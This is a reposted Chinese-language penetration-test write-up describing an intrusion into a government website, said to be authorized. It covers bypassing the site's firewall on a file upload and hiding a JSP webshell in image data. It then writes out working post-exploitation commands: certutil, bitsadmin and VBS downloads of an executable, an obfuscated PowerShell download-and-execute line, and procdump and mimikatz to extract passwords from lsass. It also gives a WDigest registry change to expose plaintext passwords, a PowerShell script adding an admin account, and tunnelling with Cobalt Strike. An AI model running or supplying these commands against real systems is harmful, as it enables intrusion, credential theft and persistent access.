前言
很久沒有整理實戰文章了,恰好這周項目上有一個目標折騰了兩天時間,記錄分享下其中的心路歷程(本次滲透過程均在目標授權下進行,請勿進行非法滲透行為)。
目標基本信息
某政務網站
服務器--windows
數據庫--未知
中間件--Tomcat
開發語言--JAVA
未使用 CDN
存在 waf--種類未知
Getshell 過程
其它漏洞的挖掘過程不再描述,直奔權限,發現目標存在一處上傳功能。
上傳成功后返回取件碼。
使用取件碼進行信件查詢。
點擊附件為下載鏈接。
通過對下載鏈接進行測試,發現報錯時泄漏了網站的絕對路徑。
進過幾次嘗試,成功訪問到上傳的圖片。
網站 waf 對上傳文件的后綴名進行了白名單限制。
根據以往的 bypass 經驗,開始手撕 waf。
后綴名校驗繞過
尋找 waf 的設計缺陷來繞過 waf 的上傳限制,
常用的幾種方法有:
刪除實體里面的 Conten-Type 字段
刪除 Content-Disposition 字段里的空格
修改 Content-Disposition 字段值的大小寫
文件名處回車
等等等等。
總結一下思路就是在不影響正常上傳功能的前提下,嘗試改變數據包的部分格式內容,繞過 waf 的校
驗。
經過多次嘗試,當 Content-Disposition 字段修改為 Content+Disposition 時可以繞過 waf,可以看到上傳功能的代碼未對后綴名做限制,存在任意文件上傳漏洞。
內容校驗繞過
成功對文件后綴名進行了繞過。
直接上傳免殺還可以的冰蝎馬。
上傳失敗,再次被 waf 攔截,發現還存在文件內容校驗,嘗試使用平時積累的免殺馬。
經過嘗試免殺馬全部陣亡,無一例外。
當使用 java 的輸出函數時也會被 waf 檢測攔截。
第一次碰到連輸出 helloword 都攔的 waf。
經過多次測試,waf 對絕大部分的 java 函數都進行了攔截。
內容加密
這種情況下,首先想到的解決方案是對木馬進行加密。
在網上查找相關的資料,發現了 LandGrey 大佬的一個 unicode 編碼的菜刀馬。傳送門
可以上傳成功。
必須要使用 caidao-20160622 的版本進行連接(默認分隔符 : X@Y),然而。
菜刀流量被 waf 攔截了。
想到了 2 種解決方案。
1、使用內容加密的大馬,例如下圖的 php 大馬的這種加解密。
2、菜刀馬流量中轉,上傳中轉菜刀馬,配合本地加解密腳本文件,對數據進行中轉加密傳輸。
中轉 Webshell 繞過安全狗(一)
中轉 Webshell 繞過安全狗(二)
奈何網上關于 jsp 加密大馬和 jsp 中轉木馬研究的文章數量有限,再加上本人不懂 java 開發,最后以失敗告終。
在這個學習嘗試的過程看到了不少大佬優秀的文章,學習到了很多相關知識。如:
菜刀 HTTP 流量中轉代理過 WAF
CaidaoMitmProxy:基于 HTTP 代理中轉菜刀過 WAF
感興趣的小伙伴可以研究下。
內容混淆
內容加密 bypass 失敗了,只能換一個思路。
嘗試對文件內容進行混淆,繞過 waf。
首先想到的是圖片馬,嘗試把木馬隱藏到圖片源碼中,繞過 waf。
在這個過程中也踩了一些坑,有些圖片源碼包含特殊字符會和木馬的代碼發生沖突,因此需要特殊處理過的圖片才能保證正常解析。
使用 notepad++打開準備好的圖片,把 jsp 馬插入到圖片源碼中。
更改為 jsp 后綴進行上傳。
上傳失敗,猜測可能是混淆的力度不夠,未起到混淆的目的。
開始增加文件內容的長度,復制圖片的一段源碼,反復的粘貼到木馬的前后位置,經過若干次嘗試,返回了上傳成功,且只能成功一次,下
次上傳需要重新混淆,難道 waf 還自帶了機器學習?
訪問 webshell 地址,文件解析成功,成功拿下了目標的 webshell,權限為最高的 administrator 權限。
上傳的為 CMD 馬,只能執行系統命令,目標通互聯網,下一步的思路是:使用命令直接下載 cs 馬或者 msf 馬執行。
使用命令下載免殺 exe 到本地執行。
cmd 下常用的下載命令有三種,推薦使用證書下載命令,免殺性強,其它兩種容易被防護攔截。
證書下載``` *
certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exe
vbs 下載 ``` *
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs cscript downfile.vbs http://x.x.x.x/1.exe D:1.ex
bitsadmin 命令下載 ``` *
bitsadmin /transfer n http://x.x.x.x/1.exe D:\1.exe
在可以調用 powershell 的情況下,推薦使用 powershell 對木馬文件進行下載執行,優點是免殺可操作性強,無落地文件。這里給出我之前發布的免殺 powershell 命令``` *
powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://x.x.x.x''))';$a3="$a1,$a2";IEX(-join $a3)"
免殺處理的方法有很多,可以參考我之前發布的文章中。攻防演練對抗賽之初識文件釣魚
也可以關注我們 Tide 安全團隊的公眾號,查看免殺系列文章。
上傳后成功執行,cs 成功接收到會話信息。
嘗試激活 guest 用戶,加入管理員組失敗。
存在服務器防護需要繞過。
服務器為 server 2008,默認情況下,可以使用 Procdump+Mimikatz 來讀取管理員的明文密碼。
Procdump 由微軟官方提供,絕大多數情況下不會被殺。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
分為 2 步:
1、導出 lsass.exe 進程``` *
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2、使用 mimikatz 破解導出的文件 lsass.dmp``` *
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit對于 server 2012 以上,或者打了補丁的操作系統,無法直接讀取明文,必須修改注冊表,重啟服務器等待管理員登錄才能獲取到明文密碼。
reg add HKEY_LOCAL_macHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1
還可以選擇執行 powershell 命令添加用戶。
使用 Get-ExecutionPolicy 查看當前執行策略為 Restricted (默認策略,不允許任意腳本的執行)
使用 Set-ExecutionPolicy 設置執行的策略為 RemoteSigned (本地腳本無限制,但是對來自網絡的腳本必須經過簽名)
相關 powershell 命令可查看 CSeroad 大佬的文章。
powershell 的免殺性強,大多數情況下都可以執行成功。
上傳添加用戶的 ps1 文件到服務器中,調用 powershell 執行,此方法可以繞過大部分殺軟,達到免殺加用戶到管理員組的目的。``` *
powershell 1.ps1
``` * * * * * * * * * * * * * * *
$computer=Get-WMIObject Win32_ComputerSystem$computername = $computer.name$username = 'admin'$password = '1234qwer..'$desc = 'Local admin account'$computer = [ADSI]"WinNT://$computername,computer"$user = $computer.Create("user", $username)$user.SetPassword($password)$user.Setinfo()$user.description = $desc$user.setinfo()$user.UserFlags = 65536$user.SetInfo()$group = ADSI$group.add("WinNT://$username,user")
添加用戶成功后。
使用 cs 自帶的 socks4 隧道。
本機配置 Proxifer。
成功把本機帶入目標內網。
打開遠程桌面功能,輸入對方的內網 ip 和遠程桌面端口,輸入用戶名密碼。
登錄成功,目標安裝了服務器安全狗和企業版金山毒霸,到此滲透結束。
總結
由于不懂 java 開發,導致前期的 getshell 耽誤了過長時間,未解決的問題,后面還需要再學習。
滲透過程中走了很多彎路,但也學習到了很多新的知識。
原文作者:諾言
轉載自:https://www.chainnews.com/articles/863749841296.htm#FBXJjD4U33uwNtZKExSFiw